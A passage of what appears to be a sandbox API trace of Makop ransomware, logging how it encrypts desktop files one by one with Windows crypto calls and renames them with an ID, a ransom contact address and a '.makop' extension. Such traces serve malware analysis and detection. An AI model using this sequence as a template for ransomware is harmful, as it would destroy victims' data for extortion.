lpOverlapped=0x0) returned 1 [0056.511] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.511] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.511] GetProcessHeap () returned 0x48a0000 [0056.511] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0056.511] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0056.511] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.512] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0056.512] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0056.512] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0056.512] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0056.512] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0056.512] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0056.513] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.513] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.513] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.513] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x157f3, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x157f3, lpOverlapped=0x0) returned 1 [0056.514] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x15800, dwBufLen=0x15800 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x15800) returned 1 [0056.515] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.515] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15800, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x15800, lpOverlapped=0x0) returned 1 [0056.800] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.800] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x158d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.801] SetEndOfFile (hFile=0x120) returned 1 [0056.808] GetProcessHeap () returned 0x48a0000 [0056.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0056.808] GetProcessHeap () returned 0x48a0000 [0056.808] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0056.808] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V498SvTI0 yM.doc.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 101 [0056.808] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V498SvTI0 yM.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v498svti0 ym.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\V498SvTI0 yM.doc.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\v498svti0 ym.doc.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0056.814] CloseHandle (hObject=0x120) returned 1 [0056.814] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27a45b00, ftCreationTime.dwHighDateTime=0x1d5e65c, ftLastAccessTime.dwLowDateTime=0xb888e470, ftLastAccessTime.dwHighDateTime=0x1d5e0b1, ftLastWriteTime.dwLowDateTime=0xb888e470, ftLastWriteTime.dwHighDateTime=0x1d5e0b1, nFileSizeHigh=0x0, nFileSizeLow=0x125b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VDdt1.odp", cAlternateFileName="")) returned 1 [0056.814] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VDdt1.odp") returned 47 [0056.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VDdt1.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vddt1.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0056.815] GetProcessHeap () returned 0x48a0000 [0056.815] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0056.815] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0056.815] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0056.815] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x9, lpOverlapped=0x0) returned 1 [0056.818] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.818] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.818] GetProcessHeap () returned 0x48a0000 [0056.818] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0056.818] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30) returned 1 [0056.818] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.818] WriteFile (in: hFile=0x120, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x657e4a8*=0x30, lpOverlapped=0x0) returned 1 [0056.818] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0056.818] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0056.819] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0056.819] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0056.819] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0056.819] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0056.819] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0056.819] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.819] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x125b7, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x125b7, lpOverlapped=0x0) returned 1 [0056.821] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x125c0, dwBufLen=0x125c0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x125c0) returned 1 [0056.821] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.822] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x125c0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x125c0, lpOverlapped=0x0) returned 1 [0056.822] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0056.822] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x12684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.822] SetEndOfFile (hFile=0x120) returned 1 [0056.831] GetProcessHeap () returned 0x48a0000 [0056.831] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0056.831] GetProcessHeap () returned 0x48a0000 [0056.831] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0056.831] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VDdt1.odp.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 94 [0056.831] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VDdt1.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vddt1.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VDdt1.odp.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vddt1.odp.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0056.840] CloseHandle (hObject=0x120) returned 1 [0056.840] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x648c620, ftCreationTime.dwHighDateTime=0x1d5daeb, ftLastAccessTime.dwLowDateTime=0x8ab11b30, ftLastAccessTime.dwHighDateTime=0x1d5d963, ftLastWriteTime.dwLowDateTime=0x8ab11b30, ftLastWriteTime.dwHighDateTime=0x1d5d963, nFileSizeHigh=0x0, nFileSizeLow=0x4218, dwReserved0=0x0, dwReserved1=0x0, cFileName="vmEIs.xls", cAlternateFileName="")) returned 1 [0056.841] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vmEIs.xls") returned 47 [0056.841] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vmEIs.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vmeis.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0056.841] GetProcessHeap () returned 0x48a0000 [0056.841] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0056.841] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0056.841] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0056.841] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0057.070] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.070] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.071] GetProcessHeap () returned 0x48a0000 [0057.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0057.071] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30) returned 1 [0057.071] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.071] WriteFile (in: hFile=0x120, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x657e4a8*=0x30, lpOverlapped=0x0) returned 1 [0057.071] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0057.071] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0057.071] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0057.072] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0057.072] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0057.072] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.072] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.072] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.072] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4218, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x4218, lpOverlapped=0x0) returned 1 [0057.073] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x4220, dwBufLen=0x4220 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x4220) returned 1 [0057.073] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.073] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4220, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x4220, lpOverlapped=0x0) returned 1 [0057.073] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.073] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x42e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.074] SetEndOfFile (hFile=0x120) returned 1 [0057.081] GetProcessHeap () returned 0x48a0000 [0057.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0057.081] GetProcessHeap () returned 0x48a0000 [0057.081] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0057.081] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vmEIs.xls.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 94 [0057.081] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vmEIs.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vmeis.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vmEIs.xls.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vmeis.xls.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0057.088] CloseHandle (hObject=0x120) returned 1 [0057.088] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5342800, ftCreationTime.dwHighDateTime=0x1d5e3f5, ftLastAccessTime.dwLowDateTime=0x313f05a0, ftLastAccessTime.dwHighDateTime=0x1d5e1bd, ftLastWriteTime.dwLowDateTime=0x313f05a0, ftLastWriteTime.dwHighDateTime=0x1d5e1bd, nFileSizeHigh=0x0, nFileSizeLow=0x549b, dwReserved0=0x0, dwReserved1=0x0, cFileName="y09QZFJLD np.png", cAlternateFileName="Y09QZF~1.PNG")) returned 1 [0057.089] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y09QZFJLD np.png") returned 54 [0057.089] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y09QZFJLD np.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y09qzfjld np.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0057.089] GetProcessHeap () returned 0x48a0000 [0057.089] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0057.089] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0057.089] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0057.089] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x5, lpOverlapped=0x0) returned 1 [0057.092] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.092] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.092] GetProcessHeap () returned 0x48a0000 [0057.092] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0057.093] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0057.093] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.093] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0057.093] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0057.093] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0057.093] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0057.094] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0057.094] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0057.094] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.094] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.094] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.094] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x549b, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x549b, lpOverlapped=0x0) returned 1 [0057.095] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x54a0, dwBufLen=0x54a0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x54a0) returned 1 [0057.095] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.095] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x54a0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x54a0, lpOverlapped=0x0) returned 1 [0057.095] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.096] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x5574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.096] SetEndOfFile (hFile=0x120) returned 1 [0057.102] GetProcessHeap () returned 0x48a0000 [0057.103] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0057.103] GetProcessHeap () returned 0x48a0000 [0057.103] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0057.103] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y09QZFJLD np.png.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 101 [0057.103] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y09QZFJLD np.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y09qzfjld np.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y09QZFJLD np.png.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y09qzfjld np.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0057.108] CloseHandle (hObject=0x120) returned 1 [0057.194] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x808979d0, ftCreationTime.dwHighDateTime=0x1d5e508, ftLastAccessTime.dwLowDateTime=0x6ed0d2a0, ftLastAccessTime.dwHighDateTime=0x1d5dbf4, ftLastWriteTime.dwLowDateTime=0x6ed0d2a0, ftLastWriteTime.dwHighDateTime=0x1d5dbf4, nFileSizeHigh=0x0, nFileSizeLow=0x1063e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y8t6pfdPZKS87AXpinM.png", cAlternateFileName="Y8T6PF~1.PNG")) returned 1 [0057.195] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y8t6pfdPZKS87AXpinM.png") returned 61 [0057.195] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS 